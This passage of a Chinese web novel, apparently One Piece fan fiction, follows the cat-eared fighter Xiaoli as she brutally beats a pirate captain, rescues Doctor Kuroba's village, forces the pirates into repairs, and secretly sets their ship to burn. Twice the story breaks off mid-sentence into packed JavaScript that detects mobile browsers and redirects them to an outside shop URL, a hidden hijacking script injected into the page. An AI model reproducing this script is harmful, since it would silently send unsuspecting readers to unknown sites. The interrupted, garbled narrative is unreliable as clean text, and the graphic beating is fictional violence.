那个举着木椅扑上来的海贼,以比扑来时快上数倍的速度倒飞回去!整个人炮弹般撞在身后的砖石墙壁上,发出“咚”的一声闷响,墙壁似乎都微微震颤了一下,簌簌落下些许灰尘。 小狸这才仿佛解决了两件微不足道的小事,她皱着鼻子,嫌恶地看了看地上两个昏死过去的家伙,又抬脚,用脚尖不太客气地踢了踢那个被她按进地板的家伙的肩膀。 “啧。” 她发出一声清晰的、充满烦躁的咂舌声。黑色的长尾巴在她身后不太愉快地甩动着,尾毛因为情绪波动而微微炸开。 “真是的……” 她小声地、咬牙切齿地碎碎念起来,像是在对空气抱怨,又像是在教训那两个听不见的倒霉蛋: “谁是‘凶星’啊!难听死了!非要起这种外号!真讨厌!” 她一边抱怨,一边又用力踢了一脚地上的“人形坑洞”,似乎这样就能把那个讨厌的绰号也踢飞。 虽然确认了库洛巴医生还活着,并且成功“逃离”了,但具体逃到了哪里,是否安全,依旧是个问题。 “没办法了……” 小狸叹了口气,有些苦恼地抓了抓自己微卷的黑发,猫耳也跟着动了动。 “那两个人说看到医生逃走了,别人应该也知道吧?可能……有更多人看到他们往哪个方向去了?” 这么想着,她的目光投向了窗外,投向了村子深处那栋最大建筑——那里显然是这伙海贼聚集的核心,人数最多,信息也可能最集中。 小狸的眉头皱得更紧了。她非常、非常不喜欢这种氛围。这让她想起一些很不好的、属于锈带的记忆碎片——那些充斥着暴力、混乱和无力感的狭窄巷道。 但……为了找到库洛巴医生,为了完成第一次独立任务…… 她深吸了一口气,又缓缓吐出。脸上的烦躁和苦恼渐渐被一种下定决心的平静取代。蓝色的猫瞳里,重新凝聚起专注而冷静的光芒。 没有迂回,没有试探,没有所谓的“潜入”或“侦查”。 在距离大门还有几步远的时候,她停了下来,微微侧身,重心下沉—— 然后,抬脚,对着那扇紧闭的、厚重的木门,没有任何花哨的动作,一脚踹开! 砰——!!! 门内,那几乎要掀翻屋顶的喧嚣,如同被一把无形的利刃骤然切断! 所有的声音,所有的动作,在这一刻,戛然而止。 那双蔚蓝的眼睛,平静地扫过酒馆内每一张或惊愕、或茫然的脸。 短暂的、令人窒息的死寂中,少女清亮的声音响起,不高,却清晰地传遍了酒馆的每一个角落 “你们这里谁说了算?” 她顿了顿 “我,在找人。” 51. 蓟草与凶星.下 所有的喧嚣在这一瞬间,被粗暴地、彻底地掐断了,几十双眼睛,带着尚未褪去的醉意以及一丝茫然的错愕,齐刷刷地转向门口,望向那刺目光源中逆光而立的身影。 尘埃在破门涌入的光柱中翻滚,像无数细小的金粉。少女站在那片狼藉的门框中央,脚下是扭曲变形的厚重门板,身后是晴朗的天空与破碎的村庄。这画面充满了诡异的不协调感。 死寂持续了大约两三秒。 然后,如同投入滚油的水滴,嘲笑与怒骂声轰然炸开,比之前更加嘈杂刺耳! “操!哪来的不长眼的小婊子?!找死找到爷爷们头上来了?!” “走错地方了吧?小妹妹?这可不是你玩过家家的地儿!滚回你妈妈怀里喝奶去!” 更多的人则将目光聚焦在她那对无法忽视的猫耳和身后自然垂落的黑色长尾上,污言秽语如同肮脏的泥浆般泼洒过来: “嘿!你们看!这耳朵和尾巴……真带劲!是哪个高级马戏团跑出来的珍兽吗?哈哈哈!” “管她哪来的!自己送上门来的货!兄弟们今天有福了!” “这小脸蛋可真够水灵的……比村里这些村妇强多了!” 没有人去想她是怎么把门踢开的,酒精和长久以来的横行霸道早已麻痹了他们的危机感。 坐在主位上的男人,终于有了反应。 他正是“裂颅海贼团”的船长,“裂颅者”戈顿。一个身高接近两米、骨架粗大、肌肉如同老树根般虬结贲起的壮汉。他光着上身,只披了件脏污的皮马甲,古铜色的皮肤上布满了各种陈年伤疤,其中一道从左额角斜劈而下,划过鼻梁,消失在右脸颊的胡茬里,让他整张脸看起来如同被粗暴缝合的破碎面具。最引人注目的是他光亮的头顶——那里用深蓝色颜料纹着一个狰狞的、仿佛被重击碎裂的骷髅图案,裂痕正好与他的刀疤交错,更添几分凶戾,那双深陷在眉骨阴影下的、如同野兽般浑浊的黄褐色眼睛,缓缓抬起,锁定了门口的小狸。 最初的错愕迅速被一种被冒犯的暴怒取代。他额角的青筋突突跳动,与那道伤疤一起扭曲。没有立刻对小狸发难,他先是将怒火倾泻向想象中的失职者—— “看门的都死到哪里去了?!!” 他声如闷雷,猛地将手中还剩大半的兽腿连同骨头狠狠掼在地上! 啪嚓! 油腻的肉块和碎裂的骨头渣四处飞溅,附近的几个海贼被溅了一身,却不敢有丝毫抱怨。 “废物!一群废物!”戈顿咆哮着,唾沫星子横飞,“连个门都看不住?!让这么个小东西闯进来?!” 他的船员们早已习惯船长的暴躁,此刻非但不惧,反而嬉皮笑脸地应和,将责任推给不在场的同伴,语气轻佻: “老大息怒!估计那俩家伙又灌多了黄汤,不知道趴哪个角落挺尸呢!” “嘿嘿,说不定是摸到哪个娘们屋里‘站岗’去了,这会儿正快活着呢!” “就是就是!为了个小丫头生气不值当!待会儿抓过来让老大您出出气!” 在这片令人作呕的喧嚣中,小狸的眉头越皱越紧,几乎要在眉心拧出一个疙瘩。 然后,她再次开口,带上了一丝清晰的、毫不掩饰的厌烦,清晰地穿透了嘈杂: “有人——” 她顿了顿,蓝色的猫瞳如同冰锥,缓缓扫过全场,最后落在主位的戈顿身上。 “——能告诉我,库洛巴医生,在哪么?” 这句话问得如此直接,如此不合时宜,就像在沸腾的油锅里滴入一滴冰水,让喧闹出现了短暂的凝滞。 紧接着,是更猛烈的嘲笑。 “库洛巴?那个老不死的医生?” “怎么?你是他孙女?来找爷爷回家吃饭?” “可惜啊,你爷爷跑啦!不过别伤心,爷爷们可以当你新的‘家人’,好好‘照顾’你!嘿嘿嘿……” 小狸那双蓝色的眼睛里,温度似乎在持续下降。她仿佛没听见那些调笑,径直向酒馆内走了几步。 这时,所有人才注意到,她并非空手而来。 她的左手,一直随意地拖在身后。随着她走进光线稍亮的酒馆内部,众人才看清——那竟是一个早已昏迷不醒的壮汉!那人像条破麻袋一样被她拖在地上,脑袋无力地歪向一边,脸上糊着血污,正是本该在门口瞭望的岗哨之一! 小狸走到酒馆中央的空地,手臂看似随意地一扬—— 噗通! 沉重的躯体被像扔一袋垃圾般甩了出去,砸在几张拼在一起的木桌上。杯盘碗盏哗啦啦碎了一地,汁水横流,那昏迷的海贼滚落在地,一动不动。 与此同时,她的右手也动了。另一个同样昏迷的、满脸是血的海贼,如同投石索甩出的石块,划出一道低平的弧线,精准无比地砸向角落里一个正将一名村妇逼到墙边、毛手毛脚试图撕扯她衣服的海贼! 那个色胆包天的海贼被这突如其来的“人肉炮弹”吓了一跳,惊叫一声,下意识地松开了抓住村妇的手,狼狈地往旁边跳开。被他抓住的村妇趁机猛地挣脱,死死攥紧被撕裂的衣襟,脸上泪水混合着绝望与一丝获救的惊惶,头也不回地、踉踉跄跄地朝着酒馆后门的方向跑去,瞬间消失在阴影里。 整个酒馆,再次陷入了诡异的寂静。 这一次,寂静中多了些别的东西。一些海贼脸上的轻佻笑容僵住了,眼神里开始浮现出惊疑不定。他们看看地上那两个生死不知的同伙,又看看门口那个娇小的、此刻正慢条斯理拍打着手上并不存在灰尘的少女。 小狸做完这一切,重新抬起头,目光如同精准的探照灯,越过一众呆愣的海贼,最终牢牢锁定在主位上面色阴晴不定的刀疤光头——戈顿身上。 她微微昂起小巧的下巴,带着一种纯粹的、毫不掩饰的蔑视。就像经验丰富的猎手,在打量一头看似凶猛、实则破绽百出的野兽。 她的声音清晰地响起,带着一种确认事实般的平淡: “你,是他们的头儿?” 这句话,像一根烧红的针,刺入了戈顿那被酒精和暴怒浸泡的神经。 感觉被彻底轻视、挑衅,尤其是被这样一个看起来一拳就能打哭的小丫头用这种眼神看着,戈顿胸腔里的怒火终于冲垮了最后一丝理智。他脸上的刀疤因肌肉抽搐而扭曲,黄褐色的眼珠里瞬间爬满血丝。 “你找死!!!” 他暴吼一声,猛地从巨大的椅子上弹起!沉重的实木椅子被他带倒,轰然砸在地上。他“噌”地拔出一直挂在腰间的宽刃砍刀——刀身厚重,刃口带着暗红色的、洗不净的血锈痕迹,在昏暗光线下反射着不祥的寒光。 “小的们!!”他声嘶力竭地咆哮,声音震得房梁上的灰尘簌簌落下,“给我抓住她!!我要撕烂她这张嘴!打断她每一根骨头!让她后悔出生在这个世界上!!!” 船长的怒吼如同进攻的号角,瞬间点燃了酒馆内本就蠢蠢欲动的暴戾气氛。 “哦哦哦!!!” “抓住她!!!” 几十个海贼立刻如同嗅到血腥味的鬣狗,兴奋地嚎叫起来,脸上先前那点惊疑被更原始的掠夺欲望取代。 污言秽语再次如潮水般涌来,比之前更加不堪入耳,他们嚎叫着,挥舞着武器,从四面八方缓缓逼近,形成了一个松散的包围圈。似乎已经看到了这个不知天高地厚的小丫头吓得花容失色、痛哭流涕、最终跪地求饶的“美妙”场景,那会为这场突如其来的插曲增添不少“乐趣”。 然而,被围在中央的小狸,却依旧静静地站在原地。 那是一种奇异的……平静?不,仔细看,能发现她那双向来清澈的蓝色猫瞳,此刻正微微眯起,瞳孔在昏暗光线下收缩成一条危险的细线,里面闪烁着的,是一种近乎炽烈的、被点燃的兴奋光芒。她的嘴角,甚至不受控制地、极其细微地向上勾起了一个弧度,那不是一个笑容,更像猎食者看到猎物进入伏击圈时,本能流露出的、带着血腥味的愉悦。 她轻轻活动了一下脖颈,发出细微的“咔”声,然后又甩了甩手腕。 内心的怒火并没有熄灭,反而如同被投入纯氧的火焰,静静燃烧得更加炽烈、更加纯粹。 更重要的是……小狸一直都被队长们摁着打,现在哪怕他们是一群人压迫力和乔兹师傅他们也完全不是一个量级的,一种久违的、可以“放开手脚”的隐隐兴奋,如同细小电流般窜过她的脊椎。 他们看起来,可远没有乔兹师傅那么“硬”。 小狸舔了舔有些干燥的嘴唇,蓝色的眼眸里那点兴奋的光芒越来越盛。 “臭丫头!给老子趴下!!” 海贼们发出怪叫,缩小了包围圈,各种武器从不同角度袭来!眼看那第一把刀就要砍中—— 就在刀刃距离小狸肩膀不足半尺的刹那! 时间仿佛被骤然压缩、又瞬间释放! 黑色的身影,如同被压到极致的弹簧,动了! 不是后退,不是格挡,而是——向前!向着刀疤船长戈顿的方向,狂暴地突进 快!难以形容的快! 众人的视网膜上只来得及残留下一抹模糊的、拉长的黑色残影。劲风骤起,吹动了离得近的几个海贼额前的乱发,带起他们惊愕瞪大的眼珠。 首当其冲的戈顿,只觉一股冰冷的、如同实质的杀意瞬间将他锁定!他浑浊的黄褐色瞳孔骤然收缩成针尖大小,脸上暴怒的表情甚至还没来得及完全转化为惊骇—— 小狸已经出现在了他面前!近在咫尺!他甚至能看清她蓝色猫瞳里倒映出的、自己那张因惊愕而扭曲的脸。 “什……?!” 戈顿的惊呼被硬生生堵在了喉咙里。 因为小狸根本没有给他任何反应的机会。她的动作连贯得如同演练过千百遍,精准而冷酷。借着前冲的势头,她纤细的腰肢猛地一拧,右腿一记沉重无比的膝撞,自下而上,狠狠地、结结实实地顶在了戈顿毫无防护的下巴上! 咯啦——!!! 令人头皮发麻的、清晰无比的骨裂声,混合着牙齿碰撞粉碎的细微脆响,在死寂的酒馆里炸开!如此响亮,甚至压过了所有可能的惊呼。 戈顿超过两米的高大身躯,如同被攻城锤正面轰中,双脚瞬间离地,整个人不受控制地向后、向上猛地仰起!鲜血混合着口水、还有几颗碎裂的牙齿,从他大张的嘴里呈扇形喷射出来,在空气中划出几道短暂而刺目的红弧。 然而,这仅仅是开始。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941778|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小狸的动作没有丝毫停顿。她的身体仿佛没有惯性,在膝撞命中的瞬间,借着反作用力轻盈落地,左手抓住他的领口,右手不知何时已经紧握成拳 覆盖着钻石光泽的拳头,没有丝毫犹豫,紧随着戈顿后仰的头颅,如同打桩机一般,狠狠砸了下去! 砰! 第一拳,砸在他满是横肉和血污的左脸上。颧骨碎裂的闷响。 砰!! 第二拳,砸在他鼻梁正中。原本就有些歪斜的鼻子彻底塌陷下去,鲜血泉涌。 砰!!! 第三拳,砸在他已经失去意识、因疼痛和冲击而大张的嘴上。下颚骨传来令人牙酸的错位声,更多的血和碎牙喷溅出来。 一拳,又一拳。 没有华丽的招式,没有多余的动作。就是最简单、最直接、最暴力的殴打。 沉闷的、富有节奏的砰砰声,混合着骨骼持续碎裂的咔嚓声,以及液体飞溅的噗嗤声,在鸦雀无声的酒馆里反复回荡、敲击。每一声都像是直接敲打在剩余海贼们的心脏上,让他们浑身发冷,四肢僵硬。 戈顿那庞大的身躯早已失去了所有支撑,他的脸在第一拳之后就已经不成人形,血肉模糊,甚至看不清原本的刀疤和纹身。鲜血染红了小狸的拳头、小臂,甚至有几滴溅到了她白皙的脸颊和额前的黑发上。 但她仿佛毫无所觉。 那双蓝色的眼睛,在挥拳的间隙偶尔抬起,里面闪烁着的,是一种近乎纯粹的、专注的、甚至带着点……新奇的光芒?没有嗜血的疯狂,没有杀戮的愉悦,只有一种“这样做很有效”、“目标正在失去反抗能力”的冷静探究 整个酒馆,死一般寂静。 只剩下那持续不断的、令人胆寒的击打声,以及戈顿偶尔从喉咙深处溢出的、不成调的、濒死般的嗬嗬声。 所有海贼都如同被施了定身法。他们脸上的兴奋、狰狞、猥琐,早已被无边的恐惧彻底取代。 没有人敢动。 没有人敢喘大气。 甚至没有人敢眨眼睛。 终于,在不知第多少拳之后,小狸的动作停了下来。 戈顿早已彻底失去了意识,烂泥般瘫软下去。小狸松开抓着他破烂衣襟的手,任由那具庞大的、血肉模糊的躯体“噗通”一声砸在地上,激起一片灰尘,微微弹动了一下,便再无动静。 她甩了甩右手,钻石般的光泽如潮水般褪去,露出原本白皙、此刻却沾满黏腻暗红的手。她微微蹙眉,似乎不太喜欢这种触感。目光在周围扫视了一下,最后落在地上戈顿那件还算干净的皮马甲内衬上。 她弯下腰,用两根手指嫌弃地捏起马甲的一角,仔细地、慢条斯理地擦拭着自己手上的血迹。从指缝到手背,再到手腕,每一个角落都不放过,动作认真得像在完成什么精细的工作。 擦干净手,她又抬起手臂,用相对干净的手腕内侧,蹭了蹭脸颊上溅到的血点。然后,她才直起身。 直到这时,死寂的酒馆里,才响起几声极度压抑的、仿佛从牙缝里挤出来的、带着剧烈颤抖的窃窃私语: “凶……凶星……” 一个躲在人群后面、脸色惨白如纸的海贼,牙齿咯咯打颤,用气音对旁边的同伴说,眼睛死死盯着小狸手臂上那个已经凝固了部分血渍、却依然清晰可辨的白色骷髅刺青。 “她是……香波地……那个……‘凶星’……” “白胡子……二番队……” 断断续续的词句,那几个词组合在一起,终于唤醒了他们脑海深处,那些来自酒馆传闻、悬赏令边角料、以及同行间带着恐惧口吻提及的破碎信息。 砸了joker的场子……打了天龙人的狗……全身而退……白胡子麾下……猫耳少女……凶星…… 之前被酒精和傲慢屏蔽的认知,此刻如同冰水浇头,瞬间清晰!巨大的后怕和更深的恐惧如同海啸,将他们彻底淹没。他们竟然……对着这样一个煞星,说出了那些话……还试图围攻她…… 小狸擦干净了手和脸,虽然衣服上还沾着些血点,但她似乎不太在意了。她抬起头,脸上甚至露出了一个与现场血腥场面格格不入的、极其甜美、带着点天真好奇的笑容,颊边甚至浮现出两个小小的、可爱梨涡。 然而,这个笑容,落在周围那些目睹了全程、恐惧到灵魂都在颤栗的海贼眼中,却比地狱里爬出的恶魔狞笑还要恐怖千百倍!那笑容里纯粹的、毫无阴霾的“友善”,与地上那团血肉模糊的前船长形成的反差,足以击溃任何残存的理智。 “那么现在~” 小狸开口了,声音轻快,甚至带着点欢快的尾音,仿佛刚刚只是完成了一场有趣的游戏,而不是进行了一场单方面的暴力碾压。她歪了歪头,黑色的猫耳随之轻轻一颤,目光如同最无害的小鹿,缓缓扫过周围每一个僵立如木偶、冷汗涔涔的海贼。 她的声音清晰地回荡在落针可闻的酒馆里: “有人能告诉我,库洛巴医生,在哪里了么~?” 最后一个字,语调微微上扬,带着一种天真的询问感。 但所有人都听出了那甜美嗓音下,不容置疑的、冰冷的命令意味。 毕竟,不回答的下场,就在地上躺着。 52. 星火 格林赛尔岛深处,蓟草山谷的隐秘洞穴里 库洛巴靠坐在洞壁边,借着从藤蔓缝隙透入的微弱天光,清点着所剩无几的物资。几块硬得能硌掉牙的粗麦饼,半皮囊浑浊的溪水,一些他之前采来应急、味道苦涩却能勉强果腹的野草根。 这就是全部了。 洞穴里的七个孩子最大的不过十岁,最小的才五岁,这点东西最多再支撑一天,或许更短。孩子们的啜泣声断断续续,饥饿和恐惧抽干了他们最后一点力气,连哭泣都变得有气无力。 库洛巴看着他们,心如刀绞。 他一生行医,救治过无数病患,面对过各种疑难杂症,却从未像此刻这般感到无力。他不是战士,无法挥刀驱赶恶徒;他不是魔法师,不能凭空变出食物。他只是一个老头,一个懂得草药、却保护不了孩子们的老头。 他深吸一口气,混浊的眼里闪过一丝决绝。他不能眼睁睁看着孩子们走向绝路。 小心翼翼地将最后一点麦饼掰成更小的碎块,分给每个孩子,看着他们狼吞虎咽地塞进嘴里,连碎屑都珍惜地舔干净。库洛巴用尽可能平静的声音,挨个抚摸他们的头顶,干燥温暖的手掌传递着一点微弱的安抚。 “听着,孩子们,”他的声音低沉而严肃,目光扫过每一张脏兮兮的小脸,“爷爷要下山一趟,去找点吃的,很快就回来。你们待在这里,绝对、绝对不可以出来,明白吗?无论听到什么声音,看到什么,都不要离开这个山洞。这里最安全。” 孩子们懵懂地点头,更大的孩子眼里流露出担忧。库洛巴又反复叮嘱了好几遍,直到他们牢牢记住,才拿起靠在洞壁的手杖和一个空瘪的布囊。悄无声息地滑入了外面迷蒙的紫色花海与浓密树影之中。 下山的路比他记忆中更难走。他走走停停,花了比平时多一倍的时间,才心惊胆战地摸到了村子外围。 眼前的景象让他倒抽一口凉气。 比他逃离时更加破败。更多的房屋被烧毁,只剩下焦黑的木架;街道上散落着各种垃圾和破损的家具;空气中弥漫着浓重的焦糊味、酒臭,还有一种……死寂? 不对。太安静了。这种异乎寻常的寂静,比之前的嘈杂更让库洛巴感到不安。发生了什么?海贼们离开了?还是……有更可怕的事情? 他不敢细想,心脏在瘦弱的胸腔里狂跳。他必须冒险去自己的诊所看看,那里或许还有些之前藏起来的、未被发现的草药或应急食品,更重要的是,那里有他行医多年的笔记和一些珍贵的药材样本,绝不能落入海贼手中。 他贴着残垣断壁的阴影,蹑手蹑脚地向诊所挪去。幸运的是,一路并未遇到任何海贼,这寂静反而让他脊背发凉。 诊所的门虚掩着,窗户完好,看起来似乎并未遭到重点破坏。库洛巴稍稍松了口气,或许海贼对这座不起眼的诊所没什么兴趣。 就在他的手指即将触碰到门板的瞬间,一只白皙纤细、却异常稳定的手,轻轻拍在了他紧绷的肩膀上。 “大叔,你躲在这里做什么?” 一个清脆的、带着点好奇的女声,几乎贴着他的耳朵响起。 “!!!” 库洛巴吓得魂飞魄散,脑子里第一个念头就是——哪个不听话的孩子偷偷跟下来了?!他几乎是条件反射地,以远快于他年龄的敏捷,猛地转身,一把抓住身后那人的胳膊,用尽全身力气将她往诊所里一拽! “你怎么在这里!我说了有多危险!!” 他的心脏还在咚咚狂跳,转过身,对着被他拉进来的“不听话的孩子”继续压低声音,语气严厉: “为什么要自己下山!我不是强调过不可以离……” 话说到一半,卡住了。 因为借着门缝和窗户透入的光线,他终于看清了站在自己面前的,根本不是他以为的任何一个孩子。 那是一个陌生的少女。看起来至多十五六岁年纪,身材纤细娇小,黑色的微卷长发有些凌乱,发间……是一对毛茸茸的、正微微抖动的黑色猫耳?身后,一条同样黑色的长尾巴,正有些困惑地轻轻摆动着。 少女有一张精致得过分的脸,皮肤白皙,此刻正睁着一双圆溜溜的猫瞳,好奇又带点茫然地看着他,似乎被他刚才一连串的动作弄懵了。 库洛巴的声音戛然而止,眼睛因惊愕而睁大。他张了张嘴,一时语塞:“……你、你是谁?” 而与此同时,小狸也看清了老人的脸——清瘦的面容,花白的头发和胡子,睿智而此刻充满警惕的眼睛,还有身上那件虽然沾了泥土草屑、却依旧能看出是医者风格的旧外套——和她手中画像上的人,瞬间重合! “啊!”小狸的眼睛骤然亮了起来,所有茫然一扫而空,取而代之的是纯粹的喜悦: “医生!你是库洛巴医生吧!”她的声音恢复了轻快,带着一种“终于找到了”的如释重负,“我是小狸!白胡子海贼团的!我来替马尔科先生取东西!就是之前信上说的药材!” 库洛巴医生愣住了。 信息量有点大。白胡子海贼团?马尔科派来的?取药材? 随即,一股比刚才更甚的绝望感猛地灌入他的心脏,让他手脚冰凉。对啊,马尔科根本不知道这里的具体情况,只当是一次普通的跑腿…… 看着眼前少女完成任务兴奋的眼神,库洛巴只觉得眼前发黑,脑子里嗡嗡作响。完了!全完了!不但救不了孩子们,还要把这个无辜的小姑娘也拖入绝境! 必须让她立刻离开!趁海贼还没发现!可是怎么离开?村子被封锁,码头肯定有看守……自己想办法引开海贼的注意力,为她创造机会?哪怕……哪怕拼上自己这条老命! 就在库洛巴脸色惨白、思绪混乱、甚至开始盘算哪种牺牲方式更能争取时间时,小狸却有些雀跃地开始分享起自己的“寻人历程”: “库洛巴医生你不知道,那群海贼真的太没用了!”她皱了皱鼻子,猫耳也跟着不满地撇了撇,“揍了他们一顿,结果还是连你去哪了都不知道!一个个吓得只会发抖,问来问去问不出个所以然,浪费我时间!” “还得我自己找!结果你看,大叔你自己就出现了!真幸运!” 库洛巴医生有点跟不上这跳跃的思维。每个词他都听得懂,但组合在一起,配上少女此刻轻松的表情,让他产生了一种强烈的不真实感,却又不知从何问起。 然而,下一秒,更让他心脏骤停的事情发生了。那个自称小狸的少女,竟然毫无防备地伸出手,拉开了诊所的门! “喂!你……!”库洛巴的惊呼堵在喉咙里,想伸手去拉,却慢了一步。 午后的阳光毫无遮挡地涌入门内,刺得他眯起了眼睛。 然而…… 四周依旧很安静。 库洛巴的心脏狂跳着,他鼓起毕生勇气,一点一点,极其缓慢地,睁开了眼睛。 诊所门外的街道上,确实有人。 很多很多人。 但并不是凶神恶煞、手持利刃的海贼。 而是……几十个鼻青脸肿、衣衫破烂、身上或多或少缠着简陋绷带、脸上写满了极致恐惧与卑微的……男人。他们跪在地上,以一种近乎匍匐的卑微姿态,密密麻麻地跪满了诊所门前的空地 而在这些跪着的男人中间,靠近诊所的地方,堆放着像小山一样的东西——成袋的面粉、谷物、风干的肉类、各种蔬菜水果、甚至还有几桶干净的清水!旁边还有一堆整理好的木材、瓦片、工具等建筑材料。 那个猫耳少女——小狸,正随手从那堆食物里拿起一个看起来最红润的苹果,在袖子上蹭了蹭,然后“咔嚓”咬了一大口。她咀嚼着,踱步到那堆木材旁边,轻盈地一跳,坐在了最高处,两条纤细的小腿悬空,悠闲地晃荡着。 她居高临下地扫视着下面跪伏一片的海贼们,咽下嘴里的苹果: “你们是白痴吗?” 跪着的海贼们集体哆嗦了一下,头垂得更低。 “怎么破坏的,谁破坏的,”小狸用拿着苹果的手,随意地指了指周围的断壁残垣,“就原封不动地给我装回去!砖对砖,瓦对瓦,该修屋顶修屋顶,该补墙壁补墙壁!这么简单的事,还需要我一个字一个字教你们?” “不!不敢!大姐头!祖宗!我们明白!我们马上做!马上!!!” 海贼们闻言立刻如同听到圣旨,带着哭腔,磕头如捣蒜般连连保证 他们如蒙大赦,也顾不得身上的伤痛,连滚带爬地互相推搡着起身,却不敢完全站直,依旧弯着腰,脸上挤着比哭还难看的讨好笑容,手脚并用地冲向那些建筑材料堆,或是跑向自己记忆中破坏过的房屋,开始疯狂地、手忙脚乱地“修复”起来。锯木头的声音、敲钉子的声音、搬运材料的吆喝……瞬间充满了之前死寂的街道,只是这“热火朝天”的景象,配上实施者们那副战战兢兢、时不时偷瞄木材堆上少女的脸色、生怕动作慢了的惶恐模样,显得无比诡异又荒诞。 库洛巴医生呆呆地站在诊所门口,他的嘴巴张开,下巴真的快要掉到地上,混浊的老眼里充满了极致的震惊、茫然、以及一种“我一定是在做噩梦,或者已经死了,这是死前的走马灯幻觉”的恍惚感。 这……这怎么可能?! 直到被海贼们从酒馆或其他囚禁处释放出来的村民们,陆陆续续、带着惊疑不定的神色聚集过来,看到库洛巴医生,喜极而泣地跑过来,七嘴八舌、语无伦次地询问“医生您没事太好了!”“孩子们呢?都安全吗?”“这、这到底是怎么回事?”时,库洛巴才从那种灵魂出窍般的状态中被拉回一丝真实感。 肌肤被熟人抓住的触感,耳边嘈杂而充满生命力的询问,空气中飘来的、不再是绝望而是带着难以置信的希冀的气息……这一切都在告诉他,不是幻觉。 他下意识地抬头,再次望向那个坐在木材堆上的少女。 她似乎对村民们的激动和包围毫无兴趣,只是又咬了一口苹果,侧着脸,目光投向远方那片在阳光下泛着紫色光晕的蓟草花海,更远处,是蔚蓝无垠的海平面。阳光勾勒出她纤细的侧影,黑色的猫耳在微风中轻轻颤动,脸颊上还沾着一点点之前未擦净的、已经干涸的暗红血迹。 那一刻,库洛巴忽然有种奇怪的感觉。这个少女,仿佛笼罩在一层淡淡的、超然物外的灵光之中。她与脚下这片土地似乎隔着一层透明的壁垒,只是静静地坐在那里,望着远方,仿佛一个偶然路过、随手拨动了命运琴弦的过客,弹指间改变了这里的旋律,然后便抽身事外,继续眺望自己的旅程。 接下来的半天,格林赛尔岛以一种近乎荒谬的速度“恢复”着。 在海贼们“自愿”的疯狂劳作下,被砸毁的门窗被勉强修补,烧塌的房梁被重新架起,尽管粗糙,但至少能遮风挡雨,街道上的垃圾被清理干净。虽然离“恢复原貌”还差得远,但至少不再是满目疮痍的废墟。 村民们含着泪,在相对安全的环境下,终于能安葬在暴乱中不幸逝去的亲人。悲痛的哭声在岛屿上空回荡,但这一次,哭声里除了悲伤,还夹杂着劫后余生的庆幸,以及对未来一丝微弱却真实的新生希望。 小狸对村民们敬畏又感激的目光有些无措,通常会移开视线,或者干脆变回小黑猫形态,溜到屋顶上躲清静。 当基本的修复和安葬完成后,小狸找到了库洛巴医生,言简意赅:“让他们滚。” 库洛巴还没完全适应自己“传话人”的新角色,愣愣地点头,去传达了“那位大人”的意思。 裂颅海贼团残余的成员们听到可以离开,几乎是哭着、连滚爬带地冲向他们停泊在码头的海贼船,嘴里不住地念叨着“感谢不杀之恩”、“我们再也不敢了”之类的胡话,扛着像垃圾一样被扫地出门的戈登和其他同伴,生怕慢了一步,那位“凶星”会改变主意。 小狸站在码头不远处的一个小山坡上,冷冷地看着那艘伤痕累累的海贼船慌慌张张地升起破烂的帆,水手们手忙脚乱地操作,船只歪歪扭扭地驶离了格林赛尔岛的港湾。 她讨厌他们。讨厌他们的残忍,讨厌他们的肮脏,讨厌他们身上散发出的、属于掠夺者和施暴者的臭味。原谅?那是什么?马尔科先生或许会考虑更多,老爹或许有他的准则,但她,小狸,只是一个小心眼、记仇、爱憎分明的猫科动物。 所以,一簇微小得如同烛火、却散发着奇异高温与顽强生命力的橙色火苗,悄无声息地留在了船舱的龙骨。它静静燃烧,不会立刻引燃整艘船,却会如同附骨之疽,缓慢而坚定地侵蚀木材,释放热量,直到那艘载满了罪恶与恐惧的船化作海面上一团耀眼的、燃烧的炼狱,为他们的罪行画上句号。 他们的结局? 她一点也不关心。 “哈啊——” 她忽然张开手臂,伸了个大大的懒腰,黑色的猫耳因拉伸而微微后折,尾巴也舒展开来,然后又惬意地卷起。阳光暖洋洋地照在身上,驱散了之前的一丝疲惫。 任务完成了。药材拿到了(库洛巴医生已经在打包了)。村庄“恢复”了(勉强)。海贼滚蛋了(很快会彻底消失)。 一切都很顺利。 她转过头,目光再次落向岛屿深处,那片在夕阳下被染成金紫色的、浩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941779|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瀚如梦的蓟草花海。 真好看啊…… 这个念头自然而然地浮现。 这么好看的花海……好想让艾斯也一起看看… --- 小狸最终还在格林赛尔岛多留了一天。 一方面是需要时间让库洛巴医生重新收集、整理和打包那些预定的、有些在混乱中散失的稀有蓟草花蕊和其他药材。另一方面,库洛巴医生在确认村庄暂时安全后,第一时间返回山洞接回了孩子们。看着孩子们与父母团聚时抱头痛哭的场景,小狸虽然不太适应这种过于外露的情感宣泄,但总觉得这个时候不适合告别。 而库洛巴医生,在最初的震撼和混乱过后,作为医者的本能和对知识的热情重新占据了上风。尤其是当他发现小狸对草药竟然有着出乎意料的兴趣和敏锐直觉时,这位老医生几乎是瞬间忘记了对方的“凶名”,兴致勃勃地拉着她,在暂时安顿好的诊所里,开始倾囊相授。 发现小狸在这方面的潜质后,库洛巴医生甚至动了一个大胆的的念头,要是能把这个好苗子留在身边当弟子该多好!以她的天赋和……嗯,背景,绝对能将他毕生所学发扬光大,甚至青出于蓝。 